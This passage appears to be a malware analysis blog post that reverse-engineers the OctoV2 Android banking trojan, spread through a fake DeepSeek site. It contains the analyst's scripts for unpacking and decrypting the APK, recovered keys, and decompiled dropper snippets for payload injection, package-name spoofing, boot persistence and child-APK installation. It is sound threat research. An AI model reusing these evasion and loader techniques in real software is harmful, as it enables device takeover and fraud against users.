Reverse Engineering An Android Banking Trojan - OctoV2

Table of Contents

Introduction

With the increasing popularity of DeepSeek AI, threat actors are capitalizing by creating phishing sites that mimic DeepSeek and distribute a sophisticated Android trojan, tricking users into installing a malicious app. One such campaign, hosted at hxxp://deepseek[.]sbs, lures victims into downloading a malicious APK masquerading as an official DeepSeek app.

Once installed, the app immediately requests extensive permissions under the guise of a required “update”. Behind this facade lies a multi-stage Android trojan. This article breaks down the trojan’s internals and main components.

Infection Chain Overview

The attack begins with a dropper APK (com.hello.world) that uses encrypted ZIP entries and file name collisions to break reverse engineering tools. This first stage extracts and decrypts a secondary payload through multiple compression and encryption layers, a “Russian Doll” technique where each layer reveals another encrypted component.
The dropper then uses social engineering to deliver Stage 2 (com.vgsupervision_kit29), which repeats the same obfuscation pattern before loading native libraries containing an RC4 encrypted payload. The final stage loads an in-memory DEX payload that establishes C2 communication and deploys full RAT capabilities including VNC remote control, SMS interception, keylogging, and device administrator abuse.

graph TD A[Fake DeepSeek Website] -->|User Downloads| B[Stage 1 APK
com.hello.world
SHA: 0a8570bc...] B -->|Anti-Analysis| C[Encrypted ZIP Entries
Password Protected] B -->|Anti-Analysis| D[Duplicated File Names
AndroidManifest.xml collision] C --> E[Patched APK
Encryption flags cleared] D --> E E -->|Installation| F[Dropper Executes
attachBaseContext] F -->|Extracts| G[Asset: myqetzionpaeefbh
Encrypted APK] G -->|Layer 1| H[Zlib Decompression] H -->|Layer 2| I[DES Decryption
Key: miqfjvzb
ECB/PKCS5Padding] I -->|Layer 3| J[Zlib Decompression] J -->|Result| K[Valid DEX File
com.hello.world implementation] K -->|Dynamic Load| L[MainActivity
WebView Interface] L -->|Social Engineering| M[Fake Update Prompt
User clicks Update] M -->|Extracts| N[Asset: 1_12160dc504.cat
Stage 2 APK] N -->|Installs| O[Stage 2 APK
com.vgsupervision_kit29
SHA: f35635ab...] O -->|Anti-Analysis| P[Same Obfuscation
Encrypted ZIP + Collisions] P -->|Installation| Q[Stage 2 Executes
attachBaseContext] Q -->|Extracts| R[Asset: zdvjwnqcaasmzzfa
Encrypted Archive] R -->|Layer 1| S[Zlib Decompression] S -->|Layer 2| T[DES Decryption
Key: rqcejxta
ECB/PKCS5Padding] T -->|Layer 3| U[Zlib Decompression] U -->|Result| V[Valid DEX File
com.vgsupervision_kit29 impl] V -->|Loads| W[Native Library
libcyqcXW.so] W -->|Contains| X[Embedded Encrypted Payload
Offset 0x47361, Size 347KB] X -->|RC4 Decryption| Y[Key: wdwNQ508SVDCcJ03jR6IcZB3teA4bI1Q] Y -->|Extracts to| Z[Hidden File: .q
/data/data/.../app_files/] Z -->|dlopen| AA[Final Payload Library
Cryptographic Functions] AA -->|Provides| AB[DGA Algorithm
Generates C2 Domains] AA -->|Provides| AC[AES Keys & Salts
For C2 Communication] V -->|Runtime Load| AD[InMemoryDexClassLoader
Final RAT Payload] AD -->|Establishes| AE[C2 Connection
hxxps://***bt01tug8***oe****44a4.com] AE -->|Receives| AF[RAT Commands
50+ command types] AF --> AH[SMS Interception] AF --> AI[Keylogger] AF --> AK[Device Admin Control] AF --> AM[UI Automation] style B fill:#7C2D12 style O fill:#7C2D12 style AD fill:#c92a2a style AE fill:#c92a2a style G fill:#b06604 style N fill:#b06604 style R fill:#b06604 style X fill:#b06604 style W fill:#0d7a73 classDef encrypted fill:#b06604,stroke:#f59f00,stroke-width:2px classDef native fill:#0d7a73,stroke:#0ca678,stroke-width:2px classDef malicious fill:#7C2D12,stroke:#c92a2a,stroke-width:3px classDef c2 fill:#c92a2a,stroke:#862e2e,stroke-width:3px

Anti-Reversing Techniques

Password protected-files

The first anti-analysis technique I came across was encrypted ZIP entries. When I tried to extract the parent APK with unzip, it prompted me for a password, even though the app installed and ran normally on a device. This is an anti-analysis measure designed to break reverse-engineering tools such as apktool and jadx, preventing them from parsing the APK.

So to fix this I made a script in python to patch the flags in the Local File header and Central directory file header related to encryption, which is bit 0 from General purpose bit flag

unzip 0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk 

Archive:  0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk
classes.dex/X3.9.png:  ucsize 221 <> csize 209 for STORED entry
         continuing with "compressed" size value
[0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk] classes.dex/X3.9.png password:

I wrote a Python script to clear bit 0 (the encryption flag) in the General Purpose Bit Flag of both Local File and Central Directory headers, allowing tools like unzip/apktool to parse the APK.

import struct
from pathlib import Path

def modify_zip_headers(zip_path):
    """Clears encryption flags in ZIP Local File Headers and Central Directory Headers."""
    zip_path = Path(zip_path)
    backup_path = zip_path.with_suffix('.apk.backup')
    zip_path.rename(backup_path)
    
    try:
        with open(backup_path, 'rb') as src, open(zip_path, 'wb') as dst:
            data = bytearray(src.read())
            
            # Clear encryption flag in Local File Headers (PK\x03\x04)
            for i in range(len(data) - 4):
                if data[i:i+4] == b'PK\x03\x04':
                    flag_offset = i + 6
                    if flag_offset + 2 <= len(data):
                        flag = struct.unpack('<H', data[flag_offset:flag_offset+2])[0]
                        data[flag_offset:flag_offset+2] = struct.pack('<H', flag & ~1)
            
            # Clear encryption flag in Central Directory Headers (PK\x01\x02)
            for i in range(len(data) - 4):
                if data[i:i+4] == b'PK\x01\x02':
                    flag_offset = i + 8
                    if flag_offset + 2 <= len(data):
                        flag = struct.unpack('<H', data[flag_offset:flag_offset+2])[0]
                        data[flag_offset:flag_offset+2] = struct.pack('<H', flag & ~1)
            
            dst.write(data)
        
        print(f"Modified {zip_path}, backup: {backup_path}")
        return True
        
    except Exception as e:
        if zip_path.exists():
            zip_path.unlink()
        backup_path.rename(zip_path)
        print(f"Error: {e} - Original restored")
        return False

if __name__ == "__main__":
    modify_zip_headers('0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk')

Duplicated Entries

After patching the encryption flags, I attempted to unzip the APK again but encountered another issue: a name collision between critical files and directories. For example, there were directories named AndroidManifest.xml and resources.arsc.

unzip 0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk 

Archive:  0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk
 extracting: classes.dex/X3.9.png    
 extracting: AndroidManifest.xml/ps.9.png  
 extracting: resources.arsc/dO.xml   
 extracting: classes.dex/Z8.png      
 [... Many more resources ...]
 extracting: assets/gunuvucugex/mikijiqaded/nigudaviceqicagacejohopidunizucalo/bifacocimomigoxuvofe/lasesakotokovenajebulajigicotah/migolohitezeqesapiwapecixukiwile.net  
replace resources.arsc? [y]es, [n]o, [A]ll, [N]one, [r]ename: 

I patched the collisions by creating a list of affected files and renaming the directories involved, which let me successfully extract all contents and load the APK into jadx.

import shutil
from pathlib import Path

def fix_badpack_apk_rename(input_apk):
    """Fixes fake directory entries in malformed APKs by renaming them."""
    important_files = [
        b'AndroidManifest.xml',
        b'classes.dex',
        b'classes2.dex', 
        b'classes3.dex',
        b'resources.arsc',
        b'META-INF/MANIFEST.MF',
        b'META-INF/CERT.SF',
        b'META-INF/CERT.RSA'
    ]
    
    output_apk = Path('patched.apk')
    shutil.copy2(input_apk, output_apk)
    
    with open(output_apk, 'rb') as f:
        data = f.read()
    
    modified_data = data
    total_replacements = 0
    
    for important_file in important_files:
        fake_dir = important_file + b'/'
        fake_dir_positions = []
        start = 0
        while True:
            pos = modified_data.find(fake_dir, start)
            if pos == -1:
                break
            fake_dir_positions.append(pos)
            start = pos + 1
        
        if fake_dir_positions:
            print(f"Found {len(fake_dir_positions)} instances of {fake_dir} at positions: {fake_dir_positions}")
            
            replacement = b'zzzz' + important_file[4:] + b'/' if len(important_file) >= 4 else b'zzzz' + important_file + b'/'
            modified_data = modified_data.replace(fake_dir, replacement)
            total_replacements += len(fake_dir_positions)
            print(f"  Replaced with: {replacement}")
        
        fake_prefix = important_file + b'/'
        search_pos = 0
        file_in_fake_dir_count = 0
        
        while True:
            pos = modified_data.find(fake_prefix, search_pos)
            if pos == -1:
                break
            
            next_slash_or_null = pos + len(fake_prefix)
            if next_slash_or_null < len(modified_data):
                end_pos = next_slash_or_null
                while end_pos < len(modified_data) and modified_data[end_pos:end_pos+1] not in [b'\x00', b' ', b'\n', b'\r']:
                    end_pos += 1
                
                if end_pos > next_slash_or_null:
                    full_fake_filename = modified_data[pos:end_pos]
                    if b'/' in full_fake_filename[len(important_file)+1:]:
                        file_in_fake_dir_count += 1
                        print(f"Found file in fake directory at {pos}: {full_fake_filename}")
            
            search_pos = pos + 1
        
        if file_in_fake_dir_count > 0:
            print(f"Found {file_in_fake_dir_count} files inside fake {important_file}/ directory")
    
    with open(output_apk, 'wb') as f:
        f.write(modified_data)
    
    print(f"Total replacements: {total_replacements}, output: {output_apk}")

if __name__ == "__main__":
    fix_badpack_apk_rename('0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk')

Stage 1: Dropper Behavior

Manifest Analysis

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1"
    xmlns:ns1="theme" 
    ns1:dpkmvl="null"
    xmlns:ns2="1.0" 
    ns2:theme="null"
    xmlns:ns3="NOT_FOUND_STR_0x1000000c" 
    ns3:android.intent.category.DEFAULT="null"
    xmlns:ns4="12" 
    ns4:NOT_FOUND_STR_0x300000c="null"
    xmlns:ns5="package" 
    ns5:com.hello.world="null"
    platformBuildVersionCode="32">
    ...
    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <queries>
        <intent>
            <action android:name="android.intent.action.MAIN"/>
        </intent>
        <intent>
            <action android:name="android.intent.action.VIEW"/>
            <category android:name="android.intent.category.BROWSABLE"/>
            <data android:scheme="https"/>
        </intent>
        <package android:name="com.android.chrome"/>
        <package android:name="com.gxfychvcj.qhcclpouc"/>
    </queries>
    <application
        android:theme="0x7f0e010a"
        xmlns:ns7="theme" 
        ns7:dpkmvl="  ?0xff 16777228"
        xmlns:ns8="NOT_FOUND_STR_0x7f0d001c" 
        ns8:theme="null"
        xmlns:ns9="NOT_FOUND_STR_0x100000c" 
        ns9:NOT_FOUND_STR_0x7f0c0000="null"
        xmlns:ns10="oou.qlkuahl.suygrwjnj.ckzmnxr" 
        ns10:NOT_FOUND_STR_0x300000c="null"
        xmlns:ns11="allowBackup" 
        ns11:NOT_FOUND_STR_0xffffffff="  ?0xff 0"
        android:supportsRtl="true"
        xmlns:ns12="theme" 
        ns12:dpkmvl="  ?0xff 301989900">
        <activity
            android:theme="0x7f0e010a"
            xmlns:ns13="theme" 
            ns13:dpkmvl="null"
            xmlns:ns14="com.hello.world.MainActivity" 
            ns14:theme="null"
            xmlns:ns15="NOT_FOUND_STR_0x1200000c" 
            ns15:NOT_FOUND_STR_0xffffffff="null"
            NOT_FOUND_STR_0x1000000c="null">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity
            android:theme="0x7f0e00fe"
            xmlns:ns16="theme" 
            ns16:dpkmvl="null"
            xmlns:ns17="com.hello.world.PopupActivity" 
            ns17:theme="null"/>
        <receiver
            android:name="com.hello.world.BootReceiver"
            xmlns:ns18="theme" 
            ns18:dpkmvl="  ?0xff 301989900"
            theme="null">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
                <action android:name="android.intent.action.MY_PACKAGE_REPLACED"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
        </receiver>
        ...
    </application>
</manifest>

Looking at the AndroidManifest.xml, several elements appear highly suspicious and indicative of malicious behavior:

Obfuscated and Malformed Structure:
The manifest contains numerous malformed namespace declarations and ‘NOT_FOUND_STR’ references, suggesting it was obfuscated or corrupted to make reverse engineering more difficult.

Excessive System Permissions: The application requests several high-risk permissions that are commonly abused by malware:

  • REQUEST_INSTALL_PACKAGES - allows installing other APKs without user interaction
  • SYSTEM_ALERT_WINDOW - enables drawing over other apps, which can be used for overlay attacks
  • QUERY_ALL_PACKAGES - grants access to information about all installed applications
  • SCHEDULE_EXACT_ALARM - allows precise alarm scheduling, potentially for persistent execution

Boot Persistence Mechanisms:
The BootReceiver component is configured to automatically start after device boot, reboot, or package replacement, enabling persistence across restarts.

Suspicious Package Identity:
While the primary package name is com.hello.world (appearing benign), it is marked as the Main Activity but will likely be loaded dynamically at a later stage, as JADX cannot yet resolve this package.

Service and Activity Structure: The PopupService and PopupActivity components, combined with the SYSTEM_ALERT_WINDOW permission, indicate the app likely displays unauthorized popup overlays, potentially for phishing attacks or user interface manipulation.

The combination of excessive permissions, boot persistence, obfuscated code structure, and suspicious package queries strongly suggests this is a malicious application designed for surveillance, data theft, or serving as a dropper for additional components.

Package Name Spoofing

Searching for com.hello.world led me to oou.qlkuahl.suygrwjnj. The ckzmnxr class is spoofing the package name. It does this by overriding the standard android getPackageName() method to return the false identity.

@Override
public String getPackageName() {
    return "com.hello.world";
}

The class contains an obfuscated string decryption function lll1lll() that uses XOR operations to decode configuration strings:

static String lll1lll(int i) {
    if (i == 106) {
        byte[] bArr = {78, 57, 62, 63, 40, 53, 43, 58, 58, 38, 35, 41, 43, 62, 35, 37, 36, 53, 36, 43, 39, 47, 78};
        for (int i17 = 0; i17 < bArr.length; i17++) {
            bArr[i17] = (byte) (bArr[i17] ^ i);
        }
        return new String(bArr, StandardCharsets.UTF_8);
    }
    // Additional XOR decode cases for different keys...
}

When decoded, these XOR operations reveal placeholder strings that for a templated malware deployment system:

  • Key 106: $STUB_APPLICATION_NAME$ -> "Loou/qlkuahl/suygrwjnj/ckzmnxr;"
  • Key 119: $REAL_APPLICATION_NAME$ -> "android.app.Application"
  • Key 300: $PACKAGE_NAME$ -> "com.hello.world"

Dynamic Payload Extraction and Injection

The class also implements several hook methods to allow runtime manipulation of the application context:

@Override
protected void attachBaseContext(Context context) {
    super.attachBaseContext(context);
    try {
        mvyakkwxbiduix.fmypvchjsmao(this);
        jvqxwsfmuxwpcht.hook(this, "android.app.Application", "Loou/qlkuahl/suygrwjnj/ckzmnxr;");
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}

Looking into mvyakkwxbiduix.fmypvchjsmao(), I found it’s extracting a payload. attachBaseContext() reads an encrypted asset called myqetzionpaeefbh, decrypts and decompresses it into a DEX file, then injects it into the app’s classloader on the fly.

public static void fmypvchjsmao(Application application) ... {
    // 1. Extract encrypted payload from assets
    byte[] oqqteadlw = hkofxtvdqf.oqqteadlw(application.getAssets().open("myqetzionpaeefbh"));
    
    //...
    
    // Decrypt DEX file
    for (File file2 : olmncmdqlyd) {
        File file3 = new File(dir, file2.getName());
        wunzbxvie.decrypt(file2, file3); // Decrypt DEX file
        setOnlyRead(file3); // Set read-only permissions
        arrayList.add(file3); // Add to loading list
    }
    
    // Inject DEX into application classloader
    gehsiidrorhw(application, arrayList, dir);
    
    // cleanup
    hkofxtvdqf.mexkablgl(dir);
}
> file myqetzionpaeefbh 

myqetzionpaeefbh: Android package (APK), with classes.dex

At first glance, the file appears to be a standard APK with classes.dex. However, as seen in the fmypvchjsmao() function, the file contains encrypted data:

encryptOrDecrypt("miqfjvzbvnkjrgvk", 2, inflaterInputStream, inflaterOutputStream);
public static void encryptOrDecrypt(String str, int i, InputStream inputStream, OutputStream outputStream) throws Throwable {
    SecretKey generateSecret = SecretKeyFactory.getInstance(lllJ1lJ(308))
        .generateSecret(new DESKeySpec(str.getBytes()));
    Cipher cipher = Cipher.getInstance(lllJ1lJ(340));
    //...
}

DES is used to encrypt the file with the password "miqfjvzbvnkjrgvk". However, DES effectively uses only 7 bytes for the key and 1 byte for parity, so the actual key is "miqfjvzb". The algorithm does not specify a mode or padding, so Java’s default DES transformation applies: ECB mode with PKCS5Padding.

To further analyze the encrypted DEX, I’ve written a script to decrypt it, after which it was loaded into JADX for inspection.

import zlib
import zipfile
from pathlib import Path
from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad

KEY = b"miqfjvzb"

def decompress_and_decrypt(input_path):
    """Unzips, decompresses, and decrypts a file using DES/ECB."""
    input_path = Path(input_path)
    output_path = Path('myqetzionpaeefbh_classes.dex')
    
    if not input_path.exists():
        print(f"Error: {input_path} not found")
        return
    
    try:
        # Stage 1: Unzip
        print("Unzipping file...")
        with zipfile.ZipFile(input_path, 'r') as zip_ref:
            zip_ref.extractall('temp_extracted')
        
        extracted_file = Path('temp_extracted') / input_path.name
        if not extracted_file.exists():
            extracted_files = list(Path('temp_extracted').iterdir())
            if extracted_files:
                extracted_file = extracted_files[0]
            else:
                print("Error: No files extracted")
                return
        
        # Stage 2: Decompress
        print("Decompressing...")
        with open(extracted_file, 'rb') as f:
            compressed_data = f.read()
        
        encrypted_payload = zlib.decompress(compressed_data)
        print(f"Decompressed: {len(encrypted_payload)} bytes")
        
        # Stage 3: Decrypt
        print("Decrypting...")
        if len(encrypted_payload) % DES.block_size != 0:
            print(f"Error: Data size ({len(encrypted_payload)}) not aligned to DES block size")
            return
        
        cipher = DES.new(KEY, DES.MODE_ECB)
        decrypted_padded_data = cipher.decrypt(encrypted_payload)
        decrypted_data = unpad(decrypted_padded_data, DES.block_size)
        
        # Stage 4: Final decompression
        print("Final decompression...")
        try:
            final_data = zlib.decompress(decrypted_data)
            print(f"Final payload: {len(final_data)} bytes")
        except zlib.error as e:
            print(f"Final decompression failed: {e}, using raw decrypted data")
            final_data = decrypted_data
        
        # Stage 5: Save output
        with open(output_path, 'wb') as f:
            f.write(final_data)
        
        # Cleanup
        import shutil
        shutil.rmtree('temp_extracted', ignore_errors=True)
        
        print(f"Success: {output_path} ({output_path.stat().st_size} bytes)")
        
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    decompress_and_decrypt('myqetzionpaeefbh')

In short:

  1. myqetzionpaeefbh: A valid APK.
  2. classes.dex (inside the APK): Contains zlib compressed data. Decompressing it produces
  3. decompressed_classes.dex: Contains DES-encrypted data. Decrypting it produces
  4. decrypted_classes.dex: Reveals zlib compressed content. Decompressing this results in
  5. myqetzionpaeefbh_classes.dex: A valid DEX file (Dalvik dex file version 035).

This is a classic “Russian Doll” technique: the packer uses double compression to hide the real payload.

Extracted DEX Analysis

This DEX contains the actual implementation of the com.hello.world package, including the main activity, persistence mechanisms, and the WebView based interface used to deliver the next payload.

In the MainActivity of the com.hello.world package, there are several encrypted strings defined in a static array and decrypted at runtime using an XOR based function.

Decrypted strings:
==================================================
APK_EXTENSION             = '.cat'
CHILD_PACKAGE_NAME        = 'com.vgsupervision_kit29'
CHROME_PACKAGE_NAME       = 'com.android.chrome'
KEY_INSTALL_START_TIME    = ''
KEY_WAITING_PERMISSION    = 'waiting_for_permission'
PACKAGE_INSTALLED_ACTION  = 'com.hello.world.INSTALL_COMPLETE'
PREFS_NAME                = ''
TAG                       = 'MainActivity'

These values suggest that the malware expects to handle a secondary payload with the .cat extension, and that the next stage app is packaged under com.vgsupervision_kit29.

Key Components

Once injected, the following key classes are now present:

  • MainActivity – initializes the malicious workflow and manages payload delivery.
  • WebViewContent – hosts the user-facing interface used for social engineering.
  • PopupService – maintains background activity and persistence through UI popups.

Persistence Mechanism

A boot receiver is registered to automatically launch the main activity after device reboot, ensuring continuous operation:

if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
    Intent bootIntent = new Intent(context, MainActivity.class);
    bootIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    context.startActivity(bootIntent);
}

This guarantees the application restarts after each reboot, maintaining persistence without user interaction.


WebView Social Engineering Interface

The application uses a WebView with a js interface to display a fake update prompt.

// Adds js interface for fake update button
this.webView.addJavascriptInterface(new WebAppInterface(), "AndroidBridge");

When users click the “Update” button, the next payload stage is triggered:

@Override // com.hello.world.WebViewContent.UpdateAppListener
public void onUpdateRequested() {
    log($(1147, 1163, -20370)); //logs "Update requested"
    if (this.isInstalling || this.isWaitingForPermission) {
        return;
    }
    this.isInstalling = DEBUG;
    stopPopupBehavior();
    installChildApk(); // Triggers next stage
}

Secondary APK Download and Installation

The dropper extracts and installs a child APK from its assets. The file 1_12160dc504.cat contains the next stage APK:

InputStream catFile = getAssets().open("1_12160dc504.cat");
File temp = new File(getCacheDir(), "child.apk");
// Copies to PackageInstaller session and commits installation

The .cat file is actually a standard APK packaged as a ZIP archive (compression method=store), though it uses a nonstandard extension to evade detection and manual inspection. The malware monitors installation completion and launches the child app once ready.

file 1_12160dc504.cat

1_12160dc504.cat: Zip archive data, at least v2.0 to extract, compression method=store

When attempting to unzip it for static analysis, I encountered the same issue as with the original APK, name collisions between critical files and directories designed to obstruct analysis. Reusing the same patching script from before resolved the conflicts and allowed full extraction.

Stage 2

Manifest Analysis

Looking at the AndroidManifest.xml of 1_12160dc504.cat, we can immediately see that, similarly to the first stage, this APK declares intrusive permissions, but this time with an even broader and more dangerous scope, granting it near total control over the device.

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1"
    android:versionName="1.0"
    android:compileSdkVersion="33"
    android:compileSdkVersionCodename="13"
    package="com.vgsupervision_kit29"
    platformBuildVersionCode="33"
    platformBuildVersionName="13">
    <uses-sdk
        android:minSdkVersion="28"
        android:targetSdkVersion="33"/>
    <uses-feature
        android:name="android.hardware.telephony"
        android:required="false"/>
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.REORDER_TASKS"/>
    <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
    <uses-permission android:name="android.provider.Telephony.SMS_RECEIVED"/>
    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.USES_POLICY_FORCE_LOCK"/>
    <uses-permission android:name="android.permission.VIBRATE"/>
    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT"/>
    <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
    <uses-permission
        android:name="android.permission.READ_PHONE_STATE"
        android:maxSdkVersion="29"/>
    <application
        android:theme="0x7f040000"
        android:label="0x7f030000"
        android:icon="0x7f010000"
        android:name="ccg.wffpuwo.bxasqiwdz.kgtytvo"
        android:allowBackup="false"
        android:hardwareAccelerated="true"
        android:extractNativeLibs="false"
        android:usesCleartextTraffic="true">
        <activity
            android:label="0x7f030000"
            android:name="com.vgsupervision_kit29.jvzV7sC2"
            android:exported="true"
            android:excludeFromRecents="true"
            android:screenOrientation="fullSensor"
            android:noHistory="false"
            android:extractNativeLibs="false">
            <intent-filter>
                <category android:name="android.intent.category.LAUNCHER"/>
                <action android:name="android.intent.action.MAIN"/>
            </intent-filter>
        </activity>
        ...
        <receiver
            android:label="0x7f030000"
            android:name="com.vgsupervision_kit29.hhA8n9MIP"
            android:permission="android.permission.BIND_DEVICE_ADMIN"
            android:exported="false">
            <meta-data
                android:name="android.app.device_admin"
                android:resource="0x7f050000"/>
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
                <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="com.vgsupervision_kit29.bvLN0nNj"
            android:exported="true">
            <intent-filter android:priority="999">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="com.vgsupervision_kit29.hcrw1L0XZ"
            android:permission="android.permission.BROADCAST_SMS"
            android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="com.vgsupervision_kit29.ia4L9Yum"
            android:permission="android.permission.BROADCAST_WAP_PUSH"
            android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
                <data android:mimeType="application/vnd.wap.mms-message"/>
                <data android:mimeType="application/vnd.wap.sic"/>
            </intent-filter>
        </receiver>
        <activity
            android:name="com.vgsupervision_kit29.gsuf5fz4GnJ"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.SEND"/>
                <action android:name="android.intent.action.SENDTO"/>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="sms"/>
                <data android:scheme="smsto"/>
                <data android:scheme="mms"/>
                <data android:scheme="mmsto"/>
            </intent-filter>
            <intent-filter>
                <action android:name="android.intent.action.SEND"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:mimeType="*/*"/>
            </intent-filter>
            <intent-filter>
                <action android:name="android.intent.action.SEND_MULTIPLE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:mimeType="*/*"/>
            </intent-filter>
        </activity>
        <service
            android:name="com.vgsupervision_kit29.zktW0Kf3l"
            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:scheme="sms"/>
                <data android:scheme="smsto"/>
                <data android:scheme="mms"/>
                <data android:scheme="mmsto"/>
            </intent-filter>
        </service>
        <receiver
            android:name="com.vgsupervision_kit29.ozW1LnEJ1"
            android:enabled="true"
            android:exported="true">
            <intent-filter android:priority="999">
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
                <action android:name="android.intent.action.USER_PRESENT"/>
                <action android:name="android.intent.action.PACKAGE_ADDED"/>
                <action android:name="android.intent.action.PACKAGE_REMOVED"/>
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                <action android:name="android.intent.action.SCREEN_ON"/>
                <action android:name="android.intent.action.SCREEN_OFF"/>
                <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE"/>
                <category android:name="android.intent.category.HOME"/>
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
                <action android:name="android.net.wifi.WIFI_STATE_CHANGED"/>
                <action android:name="android.intent.action.DREAMING_STOPPED"/>
            </intent-filter>
        </receiver>
        ...
        <service
            android:name="com.vgsupervision_kit29.qezCJfF"
            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
            android:exported="false">
            <intent-filter>
                <action android:name="android.service.notification.NotificationListenerService"/>
            </intent-filter>
        </service>
    </application>
</manifest>

Some of the most suspicious elements include:

Extensive Dangerous Permissions: The application requests an alarming array of permissions that enable complete device takeover:

  • Full SMS control (READ_SMS, WRITE_SMS, SEND_SMS, RECEIVE_SMS, RECEIVE_MMS) - allows intercepting and manipulating all text messages
  • Phone access (READ_PHONE_NUMBERS, CALL_PHONE, READ_PHONE_STATE) - enables call monitoring and phone number harvesting
  • QUERY_ALL_PACKAGES - permits scanning all installed applications
  • REQUEST_IGNORE_BATTERY_OPTIMIZATIONS - bypasses power saving restrictions to maintain persistent operation
  • REORDER_TASKS and WAKE_LOCK - controls task scheduling and prevents device sleep

Device Administrator Abuse: The receiver hhA8n9MIP requests Device Admin privileges (BIND_DEVICE_ADMIN permission). This grants the malware the ability to:

  • Prevent its own uninstallation
  • Lock the device screen
  • Reset device passwords
  • Wipe device data

SMS Interception Infrastructure: Multiple receivers are configured to intercept SMS and MMS messages with maximum priority (android:priority="999"):

  • bvLN0nNj - intercepts incoming SMS before legitimate apps
  • hcrw1L0XZ - captures SMS delivery events
  • ia4L9Yum - intercepts MMS and WAP push messages

Default SMS App Takeover: The activity gsuf5fz4GnJ is configured with intent filters for sms://, smsto://, mms://, and mmsto:// schemes, along with SEND and SENDTO actions. Combined with the service zktW0Kf3l that handles RESPOND_VIA_MESSAGE, this allows the malware to position itself as the default SMS application, giving it complete control over messaging.

Aggressive Persistence Mechanisms: The receiver ozW1LnEJ1 monitors an excessive number of system events with maximum priority (999):

  • Boot events (BOOT_COMPLETED, QUICKBOOT_POWERON)
  • Screen state changes (SCREEN_ON, SCREEN_OFF, USER_PRESENT)
  • Package installation/removal events
  • Network connectivity changes
  • Home screen events

This allows the malware reactivates itself under virtually any system state change, making it nearly impossible to terminate.

Accessibility Service Exploitation: The service jxJN1jIkUAD implements an AccessibilityService (BIND_ACCESSIBILITY_SERVICE). This is commonly abused to:

